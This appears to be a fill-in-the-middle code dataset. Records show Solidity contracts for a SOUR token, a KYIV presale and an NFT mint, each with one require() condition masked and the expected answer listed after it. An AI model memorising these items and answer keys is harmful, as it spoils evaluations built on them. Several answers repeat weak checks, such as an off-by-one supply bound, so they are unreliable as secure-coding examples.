// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC20/presets/ERC20PresetMinterPauser.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; /** * @title SOUR Token - Native Token of UncoolCats * @dev ERC20 from OpenZeppelin */ contract SourMilk is ERC20PresetMinterPauser("Sour Milk", "SOUR") { // @notice 10 SOUR a day keeps the doctor away uint256 public constant DAILY_EMISSION = 10 ether; /// @notice Start date for SOUR emissions from contract deployment uint256 public immutable emissionStart; /// @notice End date for SOUR emissions to Uncool Cat holders uint256 public immutable emissionEnd; /// @dev A record of last claimed timestamp for UncoolCat holders mapping(uint256 => uint256) private _lastClaim; /// @dev Contract address for Uncool Cats address private _nftAddress; /** * @notice Construct the SOUR token * @param emissionStartTimestamp Timestamp of deployment */ constructor(uint256 emissionStartTimestamp) { } // External functions /** * @notice Set the contract address to the appropriate ERC-721 token contract * @param nftAddress Address of verified Uncool Cats contract * @dev Only callable once */ function setNFTAddress(address nftAddress) external onlyRole(DEFAULT_ADMIN_ROLE) { } // Public functions /** * @notice Check last claim timestamp of accumulated SOUR for given Uncool Cat * @param tokenIndex Index of Uncool Cat NFT * @return Last claim timestamp */ function getLastClaim(uint256 tokenIndex) public view returns (uint256) { require(tokenIndex <= ERC721Enumerable(_nftAddress).totalSupply(), "NFT at index not been minted"); require(<FILL_ME>) uint256 lastClaimed = uint256(_lastClaim[tokenIndex]) != 0 ? uint256(_lastClaim[tokenIndex]) : emissionStart; return lastClaimed; } /** * @notice Check accumulated SOUR tokens for an UncoolCat NFT * @param tokenIndex Index of Uncool Cat NFT * @return Total SOUR accumulated and ready to claim */ function accumulated(uint256 tokenIndex) public view returns (uint256) { } /** * @notice Check total SOUR tokens for all UncoolCat NFTs * @param tokenIndices Indexes of NFTs to check balance * @return Total SOUR accumulated and ready to claim */ function accumulatedMultiCheck(uint256[] memory tokenIndices) public view returns (uint256) { } /** * @notice Mint and claim available SOUR for each unCool Cat * @param tokenIndices Indexes of NFTs to claim for * @return Total SOUR claimed */ function claim(uint256[] memory tokenIndices) public returns (uint256) { } }
ERC721Enumerable(_nftAddress).ownerOf(tokenIndex)!=address(0),"Owner cannot be 0 address"
371,527
ERC721Enumerable(_nftAddress).ownerOf(tokenIndex)!=address(0)
"NFT at index not been minted"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC20/presets/ERC20PresetMinterPauser.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; /** * @title SOUR Token - Native Token of UncoolCats * @dev ERC20 from OpenZeppelin */ contract SourMilk is ERC20PresetMinterPauser("Sour Milk", "SOUR") { // @notice 10 SOUR a day keeps the doctor away uint256 public constant DAILY_EMISSION = 10 ether; /// @notice Start date for SOUR emissions from contract deployment uint256 public immutable emissionStart; /// @notice End date for SOUR emissions to Uncool Cat holders uint256 public immutable emissionEnd; /// @dev A record of last claimed timestamp for UncoolCat holders mapping(uint256 => uint256) private _lastClaim; /// @dev Contract address for Uncool Cats address private _nftAddress; /** * @notice Construct the SOUR token * @param emissionStartTimestamp Timestamp of deployment */ constructor(uint256 emissionStartTimestamp) { } // External functions /** * @notice Set the contract address to the appropriate ERC-721 token contract * @param nftAddress Address of verified Uncool Cats contract * @dev Only callable once */ function setNFTAddress(address nftAddress) external onlyRole(DEFAULT_ADMIN_ROLE) { } // Public functions /** * @notice Check last claim timestamp of accumulated SOUR for given Uncool Cat * @param tokenIndex Index of Uncool Cat NFT * @return Last claim timestamp */ function getLastClaim(uint256 tokenIndex) public view returns (uint256) { } /** * @notice Check accumulated SOUR tokens for an UncoolCat NFT * @param tokenIndex Index of Uncool Cat NFT * @return Total SOUR accumulated and ready to claim */ function accumulated(uint256 tokenIndex) public view returns (uint256) { } /** * @notice Check total SOUR tokens for all UncoolCat NFTs * @param tokenIndices Indexes of NFTs to check balance * @return Total SOUR accumulated and ready to claim */ function accumulatedMultiCheck(uint256[] memory tokenIndices) public view returns (uint256) { } /** * @notice Mint and claim available SOUR for each unCool Cat * @param tokenIndices Indexes of NFTs to claim for * @return Total SOUR claimed */ function claim(uint256[] memory tokenIndices) public returns (uint256) { require(block.timestamp > emissionStart, "Emission has not started yet"); uint256 totalClaimQty = 0; for (uint256 i = 0; i < tokenIndices.length; i++) { // Sanity check for non-minted index require(<FILL_ME>) // Duplicate token index check for (uint256 j = i + 1; j < tokenIndices.length; j++) { require(tokenIndices[i] != tokenIndices[j], "Duplicate token index"); } uint256 tokenIndex = tokenIndices[i]; require(ERC721Enumerable(_nftAddress).ownerOf(tokenIndex) == _msgSender(), "Sender is not the owner"); uint256 claimQty = accumulated(tokenIndex); if (claimQty != 0) { totalClaimQty = totalClaimQty + claimQty; _lastClaim[tokenIndex] = block.timestamp; } } require(totalClaimQty != 0, "No accumulated SOUR"); _mint(_msgSender(), totalClaimQty); return totalClaimQty; } }
tokenIndices[i]<=ERC721Enumerable(_nftAddress).totalSupply(),"NFT at index not been minted"
371,527
tokenIndices[i]<=ERC721Enumerable(_nftAddress).totalSupply()
"Duplicate token index"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC20/presets/ERC20PresetMinterPauser.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; /** * @title SOUR Token - Native Token of UncoolCats * @dev ERC20 from OpenZeppelin */ contract SourMilk is ERC20PresetMinterPauser("Sour Milk", "SOUR") { // @notice 10 SOUR a day keeps the doctor away uint256 public constant DAILY_EMISSION = 10 ether; /// @notice Start date for SOUR emissions from contract deployment uint256 public immutable emissionStart; /// @notice End date for SOUR emissions to Uncool Cat holders uint256 public immutable emissionEnd; /// @dev A record of last claimed timestamp for UncoolCat holders mapping(uint256 => uint256) private _lastClaim; /// @dev Contract address for Uncool Cats address private _nftAddress; /** * @notice Construct the SOUR token * @param emissionStartTimestamp Timestamp of deployment */ constructor(uint256 emissionStartTimestamp) { } // External functions /** * @notice Set the contract address to the appropriate ERC-721 token contract * @param nftAddress Address of verified Uncool Cats contract * @dev Only callable once */ function setNFTAddress(address nftAddress) external onlyRole(DEFAULT_ADMIN_ROLE) { } // Public functions /** * @notice Check last claim timestamp of accumulated SOUR for given Uncool Cat * @param tokenIndex Index of Uncool Cat NFT * @return Last claim timestamp */ function getLastClaim(uint256 tokenIndex) public view returns (uint256) { } /** * @notice Check accumulated SOUR tokens for an UncoolCat NFT * @param tokenIndex Index of Uncool Cat NFT * @return Total SOUR accumulated and ready to claim */ function accumulated(uint256 tokenIndex) public view returns (uint256) { } /** * @notice Check total SOUR tokens for all UncoolCat NFTs * @param tokenIndices Indexes of NFTs to check balance * @return Total SOUR accumulated and ready to claim */ function accumulatedMultiCheck(uint256[] memory tokenIndices) public view returns (uint256) { } /** * @notice Mint and claim available SOUR for each unCool Cat * @param tokenIndices Indexes of NFTs to claim for * @return Total SOUR claimed */ function claim(uint256[] memory tokenIndices) public returns (uint256) { require(block.timestamp > emissionStart, "Emission has not started yet"); uint256 totalClaimQty = 0; for (uint256 i = 0; i < tokenIndices.length; i++) { // Sanity check for non-minted index require(tokenIndices[i] <= ERC721Enumerable(_nftAddress).totalSupply(), "NFT at index not been minted"); // Duplicate token index check for (uint256 j = i + 1; j < tokenIndices.length; j++) { require(<FILL_ME>) } uint256 tokenIndex = tokenIndices[i]; require(ERC721Enumerable(_nftAddress).ownerOf(tokenIndex) == _msgSender(), "Sender is not the owner"); uint256 claimQty = accumulated(tokenIndex); if (claimQty != 0) { totalClaimQty = totalClaimQty + claimQty; _lastClaim[tokenIndex] = block.timestamp; } } require(totalClaimQty != 0, "No accumulated SOUR"); _mint(_msgSender(), totalClaimQty); return totalClaimQty; } }
tokenIndices[i]!=tokenIndices[j],"Duplicate token index"
371,527
tokenIndices[i]!=tokenIndices[j]
"Sender is not the owner"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC20/presets/ERC20PresetMinterPauser.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; /** * @title SOUR Token - Native Token of UncoolCats * @dev ERC20 from OpenZeppelin */ contract SourMilk is ERC20PresetMinterPauser("Sour Milk", "SOUR") { // @notice 10 SOUR a day keeps the doctor away uint256 public constant DAILY_EMISSION = 10 ether; /// @notice Start date for SOUR emissions from contract deployment uint256 public immutable emissionStart; /// @notice End date for SOUR emissions to Uncool Cat holders uint256 public immutable emissionEnd; /// @dev A record of last claimed timestamp for UncoolCat holders mapping(uint256 => uint256) private _lastClaim; /// @dev Contract address for Uncool Cats address private _nftAddress; /** * @notice Construct the SOUR token * @param emissionStartTimestamp Timestamp of deployment */ constructor(uint256 emissionStartTimestamp) { } // External functions /** * @notice Set the contract address to the appropriate ERC-721 token contract * @param nftAddress Address of verified Uncool Cats contract * @dev Only callable once */ function setNFTAddress(address nftAddress) external onlyRole(DEFAULT_ADMIN_ROLE) { } // Public functions /** * @notice Check last claim timestamp of accumulated SOUR for given Uncool Cat * @param tokenIndex Index of Uncool Cat NFT * @return Last claim timestamp */ function getLastClaim(uint256 tokenIndex) public view returns (uint256) { } /** * @notice Check accumulated SOUR tokens for an UncoolCat NFT * @param tokenIndex Index of Uncool Cat NFT * @return Total SOUR accumulated and ready to claim */ function accumulated(uint256 tokenIndex) public view returns (uint256) { } /** * @notice Check total SOUR tokens for all UncoolCat NFTs * @param tokenIndices Indexes of NFTs to check balance * @return Total SOUR accumulated and ready to claim */ function accumulatedMultiCheck(uint256[] memory tokenIndices) public view returns (uint256) { } /** * @notice Mint and claim available SOUR for each unCool Cat * @param tokenIndices Indexes of NFTs to claim for * @return Total SOUR claimed */ function claim(uint256[] memory tokenIndices) public returns (uint256) { require(block.timestamp > emissionStart, "Emission has not started yet"); uint256 totalClaimQty = 0; for (uint256 i = 0; i < tokenIndices.length; i++) { // Sanity check for non-minted index require(tokenIndices[i] <= ERC721Enumerable(_nftAddress).totalSupply(), "NFT at index not been minted"); // Duplicate token index check for (uint256 j = i + 1; j < tokenIndices.length; j++) { require(tokenIndices[i] != tokenIndices[j], "Duplicate token index"); } uint256 tokenIndex = tokenIndices[i]; require(<FILL_ME>) uint256 claimQty = accumulated(tokenIndex); if (claimQty != 0) { totalClaimQty = totalClaimQty + claimQty; _lastClaim[tokenIndex] = block.timestamp; } } require(totalClaimQty != 0, "No accumulated SOUR"); _mint(_msgSender(), totalClaimQty); return totalClaimQty; } }
ERC721Enumerable(_nftAddress).ownerOf(tokenIndex)==_msgSender(),"Sender is not the owner"
371,527
ERC721Enumerable(_nftAddress).ownerOf(tokenIndex)==_msgSender()
"There is not enough USDT"
pragma solidity >=0.7.0 <0.9.0; contract KyivPresale is Ownable { event TransferSent(address _from, address _destAddr, uint256 _amount); address public treasuryAddress = 0xa8785F189935B3D92Af7B0A644cB52D5D7959dF1; IERC20 public USDT; IERC20 public KYIV; constructor(address _usdt, address _kyiv) { } function purchase(uint256 amount) external { require(<FILL_ME>) require (( KYIV.balanceOf(msg.sender) + (amount * (10**18))) <= 20000 *(10**18), "You already have bought 20K" ); USDT.transferFrom( msg.sender, address(this), amount * (10**6)); emit TransferSent(msg.sender, address(this), amount * (10**6)); KYIV.transfer(msg.sender, amount * (10**18)); } function remainBalance() public view returns(uint256){ } function withdraw(uint256 amount) external onlyOwner{ } function claim(uint256 amount) external onlyOwner{ } }
USDT.balanceOf(msg.sender)>=amount*(10**6),"There is not enough USDT"
371,535
USDT.balanceOf(msg.sender)>=amount*(10**6)
"You already have bought 20K"
pragma solidity >=0.7.0 <0.9.0; contract KyivPresale is Ownable { event TransferSent(address _from, address _destAddr, uint256 _amount); address public treasuryAddress = 0xa8785F189935B3D92Af7B0A644cB52D5D7959dF1; IERC20 public USDT; IERC20 public KYIV; constructor(address _usdt, address _kyiv) { } function purchase(uint256 amount) external { require (USDT.balanceOf(msg.sender) >= amount * (10**6), "There is not enough USDT" ); require(<FILL_ME>) USDT.transferFrom( msg.sender, address(this), amount * (10**6)); emit TransferSent(msg.sender, address(this), amount * (10**6)); KYIV.transfer(msg.sender, amount * (10**18)); } function remainBalance() public view returns(uint256){ } function withdraw(uint256 amount) external onlyOwner{ } function claim(uint256 amount) external onlyOwner{ } }
(KYIV.balanceOf(msg.sender)+(amount*(10**18)))<=20000*(10**18),"You already have bought 20K"
371,535
(KYIV.balanceOf(msg.sender)+(amount*(10**18)))<=20000*(10**18)
"Invalid payment amount"
// SPDX-License-Identifier: MIT LICENSE pragma solidity ^0.8.0; import "./Ownable.sol"; import "./Pausable.sol"; import "./ERC721Enumerable.sol"; import "./ERC20.sol"; import "./IWoolf.sol"; import "./IForest.sol"; import "./ITraits.sol"; import "./MutantPeach.sol"; interface ISuperShibaBAMC { function balanceOf(address owner) external view returns (uint256); function ownerOf(uint256 index) external view returns (address); } interface ISuperShibaClub { function balanceOf(address owner) external view returns (uint256); function ownerOf(uint256 index) external view returns (address); } interface Pool { function balanceOf(address owner) external view returns (uint256); } interface RandomPick { function random(uint256 seed) external view returns (uint256); } contract Woolf is ERC721Enumerable, Ownable, Pausable { RandomPick private randomPick; ISuperShibaBAMC public bamc; ISuperShibaClub public club; Pool public pool; // reference to the Forest for choosing random Wolf thieves IForest public forest; // reference to $MutantPeach for burning on mint MutantPeach public mutantPeach; // reference to Traits ITraits public traits; // mint price // uint256 public MINT_PRICE = 0.06942 ether; uint256 public MINT_PRICE = 0.000001 ether; // max number of tokens that can be minted - 50000 in production uint256 public immutable MAX_TOKENS; // number of tokens that can be claimed for free - 20% of MAX_TOKENS uint256 public PAID_TOKENS; // number of tokens have been minted so far uint16 public minted = 0; bool public openFreeMint = false; bool public openPublicMint = false; uint256 public LP = 0.5 ether; // mapping from tokenId to a struct containing the token's traits mapping(uint256 => IWoolf.ApeWolf) public tokenTraits; // mapping from hashed(tokenTrait) to the tokenId it's associated with // used to ensure there are no duplicates mapping(uint256 => uint256) public existingCombinations; mapping(uint256 => address) public superShibaBAMCTokensMint; mapping(uint256 => address) public superShibaClubTokensMint; // list of probabilities for each trait type // 0 - 5 are associated with Ape, 6 - 11 are associated with Wolves uint8[][12] public rarities; // list of aliases for Walker's Alias algorithm // 0 - 5 are associated with Ape, 6 - 11 are associated with Wolves uint8[][12] public aliases; address private wolfGameTreasury; /** * instantiates contract and rarity tables */ constructor( address _peach, address _traits, address _bamc, address _club, address _treasury, uint256 _maxTokens ) ERC721("Mutant Forest", "MForest") { } /** EXTERNAL */ /** * mint a token - 90% Ape, 10% Wolves * The first 20% are free to claim, the remaining cost $MutantPeach */ function mint(uint256 amount) external payable whenNotPaused { require(tx.origin == _msgSender(), "Only EOA"); require(openPublicMint, "not open free mint"); require(minted + amount <= MAX_TOKENS, "All tokens minted"); require(amount > 0 && amount <= 10, "Invalid mint amount"); if (minted < PAID_TOKENS) { require(minted + amount <= PAID_TOKENS, "All tokens on-sale already sold"); require(<FILL_ME>) } else { require(msg.value == 0); } uint256 totalWoolCost = 0; uint256 seed; for (uint256 i = 0; i < amount; i++) { minted++; seed = randomPick.random(minted); address recipient = selectRecipient(seed); _safeMint(recipient, minted); generate(minted, seed); totalWoolCost += mintCost(minted); } if (totalWoolCost > 0) mutantPeach.burn(_msgSender(), totalWoolCost); } function freeMint(uint256[] memory bamcIds, uint256[] memory clubIds) external whenNotPaused { } function _freeMint(uint256 amount) private whenNotPaused { } /** * the first 20% are paid in ETH * the next 20% are 20000 $MutantPeach * the next 40% are 40000 $MutantPeach * the final 20% are 80000 $MutantPeach * @param tokenId the ID to check the cost of to mint * @return the cost of the given token ID */ function mintCost(uint256 tokenId) public view returns (uint256) { } function transferFrom( address from, address to, uint256 tokenId ) public virtual override { } /** INTERNAL */ /** * generates traits for a specific token, checking to make sure it's unique * @param tokenId the id of the token to generate traits for * @param seed a pseudorandom 256 bit number to derive traits from * @return t - a struct of traits for the given token ID */ function generate(uint256 tokenId, uint256 seed) internal returns (IWoolf.ApeWolf memory t) { } /** * uses A.J. Walker's Alias algorithm for O(1) rarity table lookup * ensuring O(1) instead of O(n) reduces mint cost by more than 50% * probability & alias tables are generated off-chain beforehand * @param seed portion of the 256 bit seed to remove trait correlation * @param traitType the trait type to select a trait for * @return the ID of the randomly selected trait */ function selectTrait(uint16 seed, uint8 traitType) internal view returns (uint8) { } /** * the first 20% (ETH purchases) go to the minter * the remaining 80% have a 10% chance to be given to a random staked wolf * @param seed a random value to select a recipient from * @return the address of the recipient (either the minter or the Wolf thief's owner) */ function selectRecipient(uint256 seed) internal view returns (address) { } /** * selects the species and all of its traits based on the seed value * @param seed a pseudorandom 256 bit number to derive traits from * @return t - a struct of randomly selected traits */ function selectTraits(uint256 seed) internal view returns (IWoolf.ApeWolf memory t) { } /** * converts a struct to a 256 bit hash to check for uniqueness * @param s the struct to pack into a hash * @return the 256 bit hash of the struct */ function structToHash(IWoolf.ApeWolf memory s) internal pure returns (uint256) { } /** READ */ function getTokenTraits(uint256 tokenId) external view returns (IWoolf.ApeWolf memory) { } function getPaidTokens() external view returns (uint256) { } /** ADMIN */ /** * called after deployment so that the contract can get random wolf thieves * @param _forest the address of the Forest */ function setForest(address _forest) external onlyOwner { } function setMPeach(address _MPeach) external onlyOwner { } function setPool(address _pool) external onlyOwner { } function setRandomPick(address _address) external onlyOwner { } function setSuperShibaBAMCAddress(address _address) external onlyOwner { } function setSuperShibaClubAddress(address _address) external onlyOwner { } function setTraits(address _address) external onlyOwner { } /** * allows owner to withdraw funds from minting */ function withdraw() external onlyOwner { } function getTreasure() external view onlyOwner returns (address) { } /** * updates the number of tokens for sale */ function setPaidTokens(uint256 _paidTokens) external onlyOwner { } function setLP(uint256 _lp) external onlyOwner { } function setMint(bool _free, bool _public) external onlyOwner { } /** * enables owner to pause / unpause minting */ function setPaused(bool _paused) external onlyOwner { } /** RENDER */ function setMintPrice(uint256 _price) external onlyOwner { } function tokenURI(uint256 tokenId) public view override returns (string memory) { } function setTreasury(address _treasury) external onlyOwner { } }
amount*MINT_PRICE==msg.value,"Invalid payment amount"
371,563
amount*MINT_PRICE==msg.value
"Invalid mint amount"
// SPDX-License-Identifier: MIT LICENSE pragma solidity ^0.8.0; import "./Ownable.sol"; import "./Pausable.sol"; import "./ERC721Enumerable.sol"; import "./ERC20.sol"; import "./IWoolf.sol"; import "./IForest.sol"; import "./ITraits.sol"; import "./MutantPeach.sol"; interface ISuperShibaBAMC { function balanceOf(address owner) external view returns (uint256); function ownerOf(uint256 index) external view returns (address); } interface ISuperShibaClub { function balanceOf(address owner) external view returns (uint256); function ownerOf(uint256 index) external view returns (address); } interface Pool { function balanceOf(address owner) external view returns (uint256); } interface RandomPick { function random(uint256 seed) external view returns (uint256); } contract Woolf is ERC721Enumerable, Ownable, Pausable { RandomPick private randomPick; ISuperShibaBAMC public bamc; ISuperShibaClub public club; Pool public pool; // reference to the Forest for choosing random Wolf thieves IForest public forest; // reference to $MutantPeach for burning on mint MutantPeach public mutantPeach; // reference to Traits ITraits public traits; // mint price // uint256 public MINT_PRICE = 0.06942 ether; uint256 public MINT_PRICE = 0.000001 ether; // max number of tokens that can be minted - 50000 in production uint256 public immutable MAX_TOKENS; // number of tokens that can be claimed for free - 20% of MAX_TOKENS uint256 public PAID_TOKENS; // number of tokens have been minted so far uint16 public minted = 0; bool public openFreeMint = false; bool public openPublicMint = false; uint256 public LP = 0.5 ether; // mapping from tokenId to a struct containing the token's traits mapping(uint256 => IWoolf.ApeWolf) public tokenTraits; // mapping from hashed(tokenTrait) to the tokenId it's associated with // used to ensure there are no duplicates mapping(uint256 => uint256) public existingCombinations; mapping(uint256 => address) public superShibaBAMCTokensMint; mapping(uint256 => address) public superShibaClubTokensMint; // list of probabilities for each trait type // 0 - 5 are associated with Ape, 6 - 11 are associated with Wolves uint8[][12] public rarities; // list of aliases for Walker's Alias algorithm // 0 - 5 are associated with Ape, 6 - 11 are associated with Wolves uint8[][12] public aliases; address private wolfGameTreasury; /** * instantiates contract and rarity tables */ constructor( address _peach, address _traits, address _bamc, address _club, address _treasury, uint256 _maxTokens ) ERC721("Mutant Forest", "MForest") { } /** EXTERNAL */ /** * mint a token - 90% Ape, 10% Wolves * The first 20% are free to claim, the remaining cost $MutantPeach */ function mint(uint256 amount) external payable whenNotPaused { } function freeMint(uint256[] memory bamcIds, uint256[] memory clubIds) external whenNotPaused { require(tx.origin == _msgSender(), "Only EOA"); require(openFreeMint, "not open free mint"); require(<FILL_ME>) require((minted + bamcIds.length + clubIds.length) <= MAX_TOKENS, "All tokens minted"); uint256 mintCount = 0; for (uint256 i = 0; i < bamcIds.length; i++) { uint256 tokenId = bamcIds[i]; if (bamc.ownerOf(tokenId) == _msgSender()) { if (superShibaBAMCTokensMint[tokenId] == address(0)) { mintCount++; superShibaBAMCTokensMint[tokenId] = _msgSender(); } } } for (uint256 i = 0; i < clubIds.length; i++) { uint256 tokenId = clubIds[i]; if (club.ownerOf(tokenId) == _msgSender()) { if (superShibaClubTokensMint[tokenId] == address(0)) { mintCount++; superShibaClubTokensMint[tokenId] = _msgSender(); } } } require(mintCount > 0, "The shiba in your wallet has been mint"); _freeMint(mintCount); } function _freeMint(uint256 amount) private whenNotPaused { } /** * the first 20% are paid in ETH * the next 20% are 20000 $MutantPeach * the next 40% are 40000 $MutantPeach * the final 20% are 80000 $MutantPeach * @param tokenId the ID to check the cost of to mint * @return the cost of the given token ID */ function mintCost(uint256 tokenId) public view returns (uint256) { } function transferFrom( address from, address to, uint256 tokenId ) public virtual override { } /** INTERNAL */ /** * generates traits for a specific token, checking to make sure it's unique * @param tokenId the id of the token to generate traits for * @param seed a pseudorandom 256 bit number to derive traits from * @return t - a struct of traits for the given token ID */ function generate(uint256 tokenId, uint256 seed) internal returns (IWoolf.ApeWolf memory t) { } /** * uses A.J. Walker's Alias algorithm for O(1) rarity table lookup * ensuring O(1) instead of O(n) reduces mint cost by more than 50% * probability & alias tables are generated off-chain beforehand * @param seed portion of the 256 bit seed to remove trait correlation * @param traitType the trait type to select a trait for * @return the ID of the randomly selected trait */ function selectTrait(uint16 seed, uint8 traitType) internal view returns (uint8) { } /** * the first 20% (ETH purchases) go to the minter * the remaining 80% have a 10% chance to be given to a random staked wolf * @param seed a random value to select a recipient from * @return the address of the recipient (either the minter or the Wolf thief's owner) */ function selectRecipient(uint256 seed) internal view returns (address) { } /** * selects the species and all of its traits based on the seed value * @param seed a pseudorandom 256 bit number to derive traits from * @return t - a struct of randomly selected traits */ function selectTraits(uint256 seed) internal view returns (IWoolf.ApeWolf memory t) { } /** * converts a struct to a 256 bit hash to check for uniqueness * @param s the struct to pack into a hash * @return the 256 bit hash of the struct */ function structToHash(IWoolf.ApeWolf memory s) internal pure returns (uint256) { } /** READ */ function getTokenTraits(uint256 tokenId) external view returns (IWoolf.ApeWolf memory) { } function getPaidTokens() external view returns (uint256) { } /** ADMIN */ /** * called after deployment so that the contract can get random wolf thieves * @param _forest the address of the Forest */ function setForest(address _forest) external onlyOwner { } function setMPeach(address _MPeach) external onlyOwner { } function setPool(address _pool) external onlyOwner { } function setRandomPick(address _address) external onlyOwner { } function setSuperShibaBAMCAddress(address _address) external onlyOwner { } function setSuperShibaClubAddress(address _address) external onlyOwner { } function setTraits(address _address) external onlyOwner { } /** * allows owner to withdraw funds from minting */ function withdraw() external onlyOwner { } function getTreasure() external view onlyOwner returns (address) { } /** * updates the number of tokens for sale */ function setPaidTokens(uint256 _paidTokens) external onlyOwner { } function setLP(uint256 _lp) external onlyOwner { } function setMint(bool _free, bool _public) external onlyOwner { } /** * enables owner to pause / unpause minting */ function setPaused(bool _paused) external onlyOwner { } /** RENDER */ function setMintPrice(uint256 _price) external onlyOwner { } function tokenURI(uint256 tokenId) public view override returns (string memory) { } function setTreasury(address _treasury) external onlyOwner { } }
(bamcIds.length+clubIds.length)<=10,"Invalid mint amount"
371,563
(bamcIds.length+clubIds.length)<=10
"All tokens minted"
// SPDX-License-Identifier: MIT LICENSE pragma solidity ^0.8.0; import "./Ownable.sol"; import "./Pausable.sol"; import "./ERC721Enumerable.sol"; import "./ERC20.sol"; import "./IWoolf.sol"; import "./IForest.sol"; import "./ITraits.sol"; import "./MutantPeach.sol"; interface ISuperShibaBAMC { function balanceOf(address owner) external view returns (uint256); function ownerOf(uint256 index) external view returns (address); } interface ISuperShibaClub { function balanceOf(address owner) external view returns (uint256); function ownerOf(uint256 index) external view returns (address); } interface Pool { function balanceOf(address owner) external view returns (uint256); } interface RandomPick { function random(uint256 seed) external view returns (uint256); } contract Woolf is ERC721Enumerable, Ownable, Pausable { RandomPick private randomPick; ISuperShibaBAMC public bamc; ISuperShibaClub public club; Pool public pool; // reference to the Forest for choosing random Wolf thieves IForest public forest; // reference to $MutantPeach for burning on mint MutantPeach public mutantPeach; // reference to Traits ITraits public traits; // mint price // uint256 public MINT_PRICE = 0.06942 ether; uint256 public MINT_PRICE = 0.000001 ether; // max number of tokens that can be minted - 50000 in production uint256 public immutable MAX_TOKENS; // number of tokens that can be claimed for free - 20% of MAX_TOKENS uint256 public PAID_TOKENS; // number of tokens have been minted so far uint16 public minted = 0; bool public openFreeMint = false; bool public openPublicMint = false; uint256 public LP = 0.5 ether; // mapping from tokenId to a struct containing the token's traits mapping(uint256 => IWoolf.ApeWolf) public tokenTraits; // mapping from hashed(tokenTrait) to the tokenId it's associated with // used to ensure there are no duplicates mapping(uint256 => uint256) public existingCombinations; mapping(uint256 => address) public superShibaBAMCTokensMint; mapping(uint256 => address) public superShibaClubTokensMint; // list of probabilities for each trait type // 0 - 5 are associated with Ape, 6 - 11 are associated with Wolves uint8[][12] public rarities; // list of aliases for Walker's Alias algorithm // 0 - 5 are associated with Ape, 6 - 11 are associated with Wolves uint8[][12] public aliases; address private wolfGameTreasury; /** * instantiates contract and rarity tables */ constructor( address _peach, address _traits, address _bamc, address _club, address _treasury, uint256 _maxTokens ) ERC721("Mutant Forest", "MForest") { } /** EXTERNAL */ /** * mint a token - 90% Ape, 10% Wolves * The first 20% are free to claim, the remaining cost $MutantPeach */ function mint(uint256 amount) external payable whenNotPaused { } function freeMint(uint256[] memory bamcIds, uint256[] memory clubIds) external whenNotPaused { require(tx.origin == _msgSender(), "Only EOA"); require(openFreeMint, "not open free mint"); require((bamcIds.length + clubIds.length) <= 10, "Invalid mint amount"); require(<FILL_ME>) uint256 mintCount = 0; for (uint256 i = 0; i < bamcIds.length; i++) { uint256 tokenId = bamcIds[i]; if (bamc.ownerOf(tokenId) == _msgSender()) { if (superShibaBAMCTokensMint[tokenId] == address(0)) { mintCount++; superShibaBAMCTokensMint[tokenId] = _msgSender(); } } } for (uint256 i = 0; i < clubIds.length; i++) { uint256 tokenId = clubIds[i]; if (club.ownerOf(tokenId) == _msgSender()) { if (superShibaClubTokensMint[tokenId] == address(0)) { mintCount++; superShibaClubTokensMint[tokenId] = _msgSender(); } } } require(mintCount > 0, "The shiba in your wallet has been mint"); _freeMint(mintCount); } function _freeMint(uint256 amount) private whenNotPaused { } /** * the first 20% are paid in ETH * the next 20% are 20000 $MutantPeach * the next 40% are 40000 $MutantPeach * the final 20% are 80000 $MutantPeach * @param tokenId the ID to check the cost of to mint * @return the cost of the given token ID */ function mintCost(uint256 tokenId) public view returns (uint256) { } function transferFrom( address from, address to, uint256 tokenId ) public virtual override { } /** INTERNAL */ /** * generates traits for a specific token, checking to make sure it's unique * @param tokenId the id of the token to generate traits for * @param seed a pseudorandom 256 bit number to derive traits from * @return t - a struct of traits for the given token ID */ function generate(uint256 tokenId, uint256 seed) internal returns (IWoolf.ApeWolf memory t) { } /** * uses A.J. Walker's Alias algorithm for O(1) rarity table lookup * ensuring O(1) instead of O(n) reduces mint cost by more than 50% * probability & alias tables are generated off-chain beforehand * @param seed portion of the 256 bit seed to remove trait correlation * @param traitType the trait type to select a trait for * @return the ID of the randomly selected trait */ function selectTrait(uint16 seed, uint8 traitType) internal view returns (uint8) { } /** * the first 20% (ETH purchases) go to the minter * the remaining 80% have a 10% chance to be given to a random staked wolf * @param seed a random value to select a recipient from * @return the address of the recipient (either the minter or the Wolf thief's owner) */ function selectRecipient(uint256 seed) internal view returns (address) { } /** * selects the species and all of its traits based on the seed value * @param seed a pseudorandom 256 bit number to derive traits from * @return t - a struct of randomly selected traits */ function selectTraits(uint256 seed) internal view returns (IWoolf.ApeWolf memory t) { } /** * converts a struct to a 256 bit hash to check for uniqueness * @param s the struct to pack into a hash * @return the 256 bit hash of the struct */ function structToHash(IWoolf.ApeWolf memory s) internal pure returns (uint256) { } /** READ */ function getTokenTraits(uint256 tokenId) external view returns (IWoolf.ApeWolf memory) { } function getPaidTokens() external view returns (uint256) { } /** ADMIN */ /** * called after deployment so that the contract can get random wolf thieves * @param _forest the address of the Forest */ function setForest(address _forest) external onlyOwner { } function setMPeach(address _MPeach) external onlyOwner { } function setPool(address _pool) external onlyOwner { } function setRandomPick(address _address) external onlyOwner { } function setSuperShibaBAMCAddress(address _address) external onlyOwner { } function setSuperShibaClubAddress(address _address) external onlyOwner { } function setTraits(address _address) external onlyOwner { } /** * allows owner to withdraw funds from minting */ function withdraw() external onlyOwner { } function getTreasure() external view onlyOwner returns (address) { } /** * updates the number of tokens for sale */ function setPaidTokens(uint256 _paidTokens) external onlyOwner { } function setLP(uint256 _lp) external onlyOwner { } function setMint(bool _free, bool _public) external onlyOwner { } /** * enables owner to pause / unpause minting */ function setPaused(bool _paused) external onlyOwner { } /** RENDER */ function setMintPrice(uint256 _price) external onlyOwner { } function tokenURI(uint256 tokenId) public view override returns (string memory) { } function setTreasury(address _treasury) external onlyOwner { } }
(minted+bamcIds.length+clubIds.length)<=MAX_TOKENS,"All tokens minted"
371,563
